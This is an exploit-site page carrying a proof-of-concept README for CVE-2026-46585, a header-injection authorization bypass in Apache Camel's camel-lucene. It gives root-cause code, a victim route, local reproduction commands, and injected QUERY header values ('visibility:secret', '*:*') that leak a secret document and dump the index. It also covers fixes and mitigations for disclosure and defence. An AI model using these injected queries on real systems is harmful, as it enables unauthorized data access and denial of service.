Share
## https://sploitus.com/exploit?id=F5E023A2-C7C3-5887-AB84-C29A4625D1A7
# camel-lucene `QUERY` Header Injection Reproducer (CVE-2026-46585)

This project demonstrates a **message-header injection / authorization bypass** in Apache Camel's `camel-lucene`
component, tracked as **CVE-2026-46585**. The Lucene query producer reads the full-text search phrase from an
Exchange header, but the header's name was the plain string **`QUERY`** (and **`RETURN_LUCENE_DOCS`** for the
docs flag). Because these names do **not** start with the `Camel` / `camel` prefix, `HttpHeaderFilterStrategy` โ€”
which blocks only the Camel header namespace at the HTTP boundary โ€” let them pass from an inbound HTTP request
straight into the Exchange. Any HTTP client hitting a route that exposes a Lucene query behind an HTTP consumer
can therefore set the `QUERY` header and have its value executed against the index, **overriding the query the
route intended to run**.

This PoC demonstrates the impact as **authorization bypass / data exfiltration**: an unauthenticated client
injects raw Lucene query syntax to read a document the public search endpoint was never meant to return (and a
match-all query dumps the entire index).

Advisory: https://camel.apache.org/security/CVE-2026-46585.html

## Vulnerability Summary

| Property | Value |
|----------|-------|
| **Component** | `camel-lucene` |
| **Affected Class** | `org.apache.camel.component.lucene.LuceneQueryProducer` reading `LuceneConstants.HEADER_QUERY` (value `"QUERY"`) |
| **CWE** | CWE-20 (Improper Input Validation) / CWE-639 (Authorization Bypass Through User-Controlled Key) |
| **Impact** | An HTTP client sets the `QUERY` header โ†’ arbitrary Lucene query executed โ†’ read documents outside the intended scope, or CPU-heavy regex queries |
| **Preconditions** | A route exposes a `lucene:...:query` producer behind an HTTP consumer (e.g. platform-http); unauthenticated when the consumer is |
| **Affected Versions** | From 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0 |
| **Fixed Versions** | 4.14.8, 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23509 |
| **Credit** | Andrea Cosentino (Apache Software Foundation) and Yu Bao (PayPal) |

> Same header-injection family as CVE-2025-27636, CVE-2026-40453, CVE-2026-46454 and CVE-2026-46457, and shares
> the non-`Camel`-prefixed header-constant root cause with the camel-elasticsearch `SEARCH_QUERY` sibling.

## Technical Details

```java
// LuceneConstants (affected 4.18.2) โ€” the header name is the bare word "QUERY":
public static final String HEADER_QUERY = "QUERY";
public static final String HEADER_RETURN_LUCENE_DOCS = "RETURN_LUCENE_DOCS";

// LuceneQueryProducer.process (affected 4.18.2) โ€” the phrase comes straight from that header:
String phrase = exchange.getIn().getHeader(LuceneConstants.HEADER_QUERY, String.class);
...
if (phrase != null) {
    searcher.open(indexDirectory, analyzer);
    hits = searcher.search(phrase, maxNumberOfHits, totalHitsThreshold, isReturnLuceneDocs);   // attacker-controlled
}
```

`LuceneSearcher` parses the phrase with a classic `QueryParser("contents", analyzer)`, so the attacker gets full
Lucene query syntax: fielded terms (`visibility:secret`), match-all (`*:*`), wildcards, and expensive regular
expressions.

The fix (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23509) renames the header **values** to the Camel convention โ€”
`HEADER_QUERY` from `QUERY` to `CamelLuceneQuery`, and `HEADER_RETURN_LUCENE_DOCS` to
`CamelLuceneReturnLuceneDocs` โ€” so they are filtered on the HTTP boundary like every other Camel control header.
The constant field names are unchanged (routes referencing `LuceneConstants.HEADER_QUERY` keep working); it is a
breaking change only for routes that set/read these headers by their raw string value.

## The victim route

```java
from("platform-http:/search")
    .removeHeaders("Camel*")                                  // documented hardening โ€” see below
    .to("lucene:kb:query?indexDir=#kbIndexDir&maxHits=50")
    .process(/* render the Hits as text */);
```

The route author's security model is "this endpoint only serves **public** search". As documented hardening the
route even strips the Camel control-header namespace at the edge with `removeHeaders("Camel*")`. **That does not
help**: the control header is named `QUERY`, not `CamelLuceneQuery`, so it is stripped by neither that call nor
the built-in HTTP header filter โ€” which is exactly the point of the CVE (and exactly what the fix's rename
addresses).

The index contains three public documents plus one secret document tagged `visibility:secret` whose body carries
a benign flag marker. A normal public search (`QUERY=onboarding`, a plain term against the default `contents`
field) never returns it; an injected fielded query does.

## Repository layout

The **victim** is the Camel search route and its index; the **attacker** is an unauthenticated HTTP client that
only sets a request header. Everything runs in a single self-contained app.

```
CVE-2026-46585/
โ”œโ”€โ”€ pom.xml                 # camel-platform-http + camel-lucene 4.18.2
โ”œโ”€โ”€ Dockerfile
โ”œโ”€โ”€ docker-compose.yml      # single self-contained service
โ”œโ”€โ”€ README.md
โ””โ”€โ”€ src/main/
    โ”œโ”€โ”€ java/com/example/
    โ”‚   โ”œโ”€โ”€ Application.java
    โ”‚   โ”œโ”€โ”€ IndexConfig.java          # registers the index directory as a Camel bean (#kbIndexDir)
    โ”‚   โ”œโ”€โ”€ IndexBootstrap.java       # builds the Lucene index: 3 public docs + 1 secret doc (the flag)
    โ”‚   โ”œโ”€โ”€ VictimRoute.java          # from("platform-http:/search").to("lucene:kb:query")
    โ”‚   โ””โ”€โ”€ ExploitController.java    # attacker: GET /search with an injected QUERY header
    โ””โ”€โ”€ resources/
        โ””โ”€โ”€ application.properties
```

## Prerequisites

- Java 17+ and Maven 3.8+
- Docker (optional, for the containerised run)

## Reproduction Steps

### Option A โ€” Docker (recommended)

```bash
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
```

### Option B โ€” run the jar directly

```bash
mvn clean package -DskipTests
java -jar target/cve-2026-46585-lucene-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
```

### Expected output

```
=== 1) Legitimate public search (QUERY=onboarding) ===
  hits=2
    - Frequently asked questions about billing and account onboarding.
    - Welcome onboarding guide: how to use the public knowledge base and search for articles.
  secret leaked: false

=== 2) Injected query (QUERY=visibility:secret) ===
  hits=1
    - CONFIDENTIAL executive compensation memo - internal distribution only. FLAG{lucene_query_injection_CVE_2026_46585}
  secret leaked: true

=== 3) Match-all query (QUERY=*:*) dumps the whole index ===
  hits=4
    - ... (every document, including the secret one) ...

>>> Authorization-bypass / header-injection proof โ€” an unauthenticated HTTP client read a
>>> document outside the endpoint's intended scope by injecting the QUERY header: true
```

The legitimate term search returns only public documents. The attack request โ€” differing only by the value of a
single header the framework should have filtered โ€” reads the secret document, and a match-all query returns the
entire index.

## Attack Vectors

Any route with a `lucene:...:query` producer reachable from an HTTP consumer. Beyond reading unintended
documents, the attacker can:

- Replace a route's intended per-user/tenant filter with `*:*` or a different field predicate (authorization
  bypass).
- Submit expensive wildcard / regular-expression queries to burn CPU (denial of service).

## Recommended Fix

Upgrade to **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23509). After upgrading, routes that set the query via the raw
header name must use **`CamelLuceneQuery`** (and **`CamelLuceneReturnLuceneDocs`**) instead of `QUERY` /
`RETURN_LUCENE_DOCS`; these Camel-namespaced names are filtered at the HTTP boundary like every other control
header.

## Mitigation

Until upgrading:

1. Strip the attacker-controllable headers before the Lucene producer and set the query from a trusted source:
   `.removeHeader("QUERY")` and `.removeHeader("RETURN_LUCENE_DOCS")`, then `.setHeader("QUERY", constant(...))`
   (or build it from validated input) at the start of the route.
2. Do not expose a Lucene query producer directly to untrusted HTTP clients without an authorization check on
   what may be queried.

## Disclaimer

This reproducer is provided for **security research and authorized testing only**, for a **publicly disclosed
and fixed** vulnerability. Do not use it against systems without explicit permission.